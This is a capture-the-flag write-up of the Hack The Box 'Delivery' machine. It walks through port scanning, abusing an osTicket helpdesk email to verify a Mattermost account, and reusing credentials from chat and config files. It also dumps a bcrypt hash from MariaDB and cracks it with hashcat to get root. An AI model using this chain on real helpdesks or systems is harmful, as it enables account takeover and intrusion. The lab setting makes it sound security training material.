Delivery

Feature Image

This is an Easy rated Linux machine that focuses on an attacker’s enumeration skills, requiring one to gain access to a chat service which contains credentials and other key information, allowing an attacker establish a foothold and escalate privileges later on.

This machine was retired on 23 May 2021 (SGT).

I will be using a Kali Linux virtual machine to attempt this box. Before I start, I will map the machine’s IP address to a domain name, usually using the machine’s name and the TLD .htb.

kali@kali:~$ echo "10.10.10.222 delivery.htb" | sudo tee -a /etc/hosts

Reconnaissance and Enumeration

Nmap

Running a nmap TCP port scan revealed the following open TCP ports:

kali@kali:~$ nmap -sT -sV -sC -O -p1-65535 10.10.10.222
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-10 17:28 +08
Nmap scan report for 10.10.10.222
Host is up (0.044s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 9c:40:fa:85:9b:01:ac:ac:0e:bc:0c:19:51:8a:ee:27 (RSA)
|   256 5a:0c:c0:3b:9b:76:55:2e:6e:c4:f4:b9:5d:76:17:09 (ECDSA)
|_  256 b7:9d:f7:48:9d:a2:f2:76:30:fd:42:d3:35:3a:80:8c (ED25519)
80/tcp   open  http    nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Welcome
8065/tcp open  unknown
| fingerprint-strings: 
|   GenericLines, Help, RTSPRequest, SSLSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Accept-Ranges: bytes
|     Cache-Control: no-cache, max-age=31556926, public
|     Content-Length: 3108
|     Content-Security-Policy: frame-ancestors 'self'; script-src 'self' cdn.rudderlabs.com
|     Content-Type: text/html; charset=utf-8
|     Last-Modified: Sun, 10 Jan 2021 07:44:02 GMT
|     X-Frame-Options: SAMEORIGIN
|     X-Request-Id: af9s5zjppfbipm4zbgypjfk9ao
|     X-Version-Id: 5.30.0.5.30.1.57fb31b889bf81d99d8af8176d4bbaaa.false
|     Date: Sun, 10 Jan 2021 09:29:07 GMT
|     <title>Mattermost</title>
|   HTTPOptions: 
|     HTTP/1.0 405 Method Not Allowed
|     Date: Sun, 10 Jan 2021 09:29:07 GMT
|_    Content-Length: 0

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 124.60 seconds

80/tcp (Nginx Web Server)

A static website being hosted here. It contains a button CONTACT US which when clicked, contains a reference to another domain helpdesk.delivery.htb. Add this domain to the hosts file.

kali@kali:~$  echo "10.10.10.222  helpdesk.delivery.htb" | sudo tee -a /etc/hosts

There is a “MatterMost server” running at http://delivery.htb:8065. This matches up with the Nmap scan results.

8065/tcp (Mattermost)

Mattermost is an open-source chat service that is similar to Slack, designed to be used as an internal chat system for organisations. As an account is required to use the service, I registered for one but however, email verification is required. Enumerating the service version and looking up searchsploit revealed no viable vulnerabilities.

A unique thing about Hack The Box’s environment is that machines do not have internet access, which means that I cannot simply just use a throwaway or my real email address. I have to either find credentials for this service or make use of something else in this machine to receive the verification email.

80/tcp helpdesk.delivery.htb (osTicket)

This domain is hosting an open-source support ticket web application, osTicket.

Similar to Mattermost, account registration requires an email verification, which means this is not the way in. Looking around, it looks like opening a support ticket can be done without an account. Let’s create a ticket just to test it out.

We are given a confirmation notice upon ticket creation and also, an email address that could be used to append additional information to our support ticket. Maybe we can use this to receive the email verification message from Mattermost? We can monitor this by using the Check Ticket Status feature.

Looks like it worked! Visit the verification link and log into Mattermost.

Mattermost Chat History

After logging in, we are prompted that we can join the “Internal” team. The chat channel contains some interesting information from root.

22/tcp (OpenSSH)

Using the credentials maildeliverer:Youve_G0t_Mail!, SSH into the machine.

kali@kali:~$ ssh [email protected]
[email protected]'s password: 
Linux Delivery 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64

maildeliverer@Delivery:~$

user.txt

The user flag is located in the home directory of maildeliverer.

maildeliverer@Delivery:~$ ls -l
total 4
-r-------- 1 maildeliverer maildeliverer 33 Jan 10 08:10 user.txt
maildeliverer@Delivery:~$ cat user.txt
e090****************************

Local System Enumeration

Earlier in the Mattermost chat, it was mentioned variants of the password PleaseSubscribe! are being used, and if anyone manages to obtain hashes, it can be easily cracked using hashcat. This hints us towards obtaining password hashes and cracking them using hashcat rules to account for such variations.

Running LinPEAS revealed a MariaDB database server listening on 3306/tcp locally. Root login via SSH is not allowed. Performing some basic directory enumeration revealed the install location of Mattermost to be at /opt/mattermost. Looking through the configuration file of Mattermost, located at /opt/mattermost/config/config.json, revealed the credentials used for connecting to MariaDB.

Retrieving Password Hash from MariaDB

Using the credentials mmuser:Crack_The_MM_Admin_PW, connect to the mattermost database in MariaDB.

maildeliverer@Delivery:~$ mysql -ummuser -p mattermost
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 334
Server version: 10.3.27-MariaDB-0+deb10u1 Debian 10

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [mattermost]>

Enumerating the mattermost database with show tables; reveals the Users table, which contains password hashes. Extract the hash of the root user.

MariaDB [mattermost]> select Password from Users where Username = "root";
+--------------------------------------------------------------+
| Password                                                     |
+--------------------------------------------------------------+
| $2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO |
+--------------------------------------------------------------+
1 row in set (0.001 sec)

MariaDB [mattermost]>

Password Cracking using hashcat

Since we know that variants of the password PleaseSubscribe! are being used, we can use a hashcat rule that tests for different variations of this string. A common way that people reuse passwords is to just append digits to a fixed string, so to start off I generated a hashcat rule for this using Python. If this does not work, another hashcat rule I use would be “One Rule to Rule Them All” by NotSoSecure.

kali@kali:~$ python3 -c "for i in range(100): print(' '.join(['$' + n for n in str(i)]))" > numbers.rule
kali@kali:~$ head -n 5 numbers.rule && tail -n 5 numbers.rule
$0
$1
$2
$3
$4
$9 $5
$9 $6
$9 $7
$9 $8
$9 $9

Proceed to crack the hash using hashcat. Hash is in bcrypt format.

kali@kali:~$ cat mmpasswords.hash
$2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO
kali@kali:~$ cat mmwordlist
PleaseSubscribe!
kali@kali:~$ hashcat -m 3200 mmpasswords.hash mmwordlist -r numbers.rule
hashcat (v6.1.1) starting...

Dictionary cache built:
* Filename..: mmwordlist
* Passwords.: 1
* Bytes.....: 17
* Keyspace..: 100
* Runtime...: 0 secs

Session..........: hashcat
Status...........: Cracked
Hash.Name........: bcrypt $2*$, Blowfish (Unix)
Hash.Target......: $2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v...JwgjjO

$2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO:PleaseSubscribe!21

Plaintext of the hash is PleaseSubscribe!21.

Privilege Escalation: root

Since root login over SSH is not allowed, we will just run su - root in the SSH session established earlier as maildeliverer to escalate to root.

maildeliverer@Delivery:~$ su - root
Password: 
root@Delivery:~#

root.txt

The root flag is located in the home directory of root.

root@Delivery:~# ls -l
total 16
-rwxr-x--- 1 root root  103 Dec 26 11:26 mail.sh
-r-------- 1 root root  382 Dec 28 07:02 note.txt
-rw-r----- 1 root root 1499 Dec 26 10:55 py-smtp.py
-r-------- 1 root root   33 Jan 10 08:10 root.txt
root@Delivery:~# cat root.txt
0fa1****************************

Bonus

root@Delivery:~# cat note.txt
I hope you enjoyed this box, the attack may seem silly but it demonstrates a pretty high risk vulnerability I've seen several times.  The inspiration for the box is here: 

- https://medium.com/intigriti/how-i-hacked-hundreds-of-companies-through-their-helpdesk-b7680ddc2d4c 

Keep on hacking! And please don't forget to subscribe to all the security streamers out there.

- ippsec

References and Further Reading